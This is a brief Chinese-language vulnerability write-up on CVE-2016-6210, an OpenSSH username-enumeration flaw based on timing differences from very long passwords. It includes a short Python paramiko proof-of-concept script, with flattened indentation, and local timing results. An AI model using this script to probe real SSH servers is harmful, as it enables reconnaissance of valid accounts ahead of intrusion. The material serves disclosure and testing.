OpenSSH畸形长度密码枚举系统用户(CVE-2016-6210)
OpenSSH <=OpenSSH 7.2p2
0x02 漏洞描述
当我们使用不存在的用户名去连接ssh服务器时,SSHD会基于BLOWFISH算法去生成一个假的密码,但如果使用存在的用户名,SSHD会使用SHA256/SHA512算法对密码进行加密。所以我们发送一个超大密码(>10KB),SHA256算法计算时间就远长于BLOWFISH算法的假密码。所以基于这个原理,我们可以枚举ssh用户名。
0x03 漏洞证明
测试的python脚本如下:
poc
import paramiko
import time
user=raw_input("user: ")
p='A'*25000
ssh = paramiko.SSHClient()
starttime=time.time()
ssh.set_missing_host_key_policy(paramiko.AutoAddPolicy())
try:
ssh.connect('127.0.0.1', username=user,
password=p)
except:
endtime=time.time()
total=endtime-starttime
print(total)
分别使用本地内网对内网服务器、内网对外网VPS服务器进行测试
内网对内网
首先使用不存在的用户名进行测试:
再使用存在的root账户进行测试:
12.66秒>4.74秒,测试成功!
0x04 修复方案
等OpenSSH官网补丁吧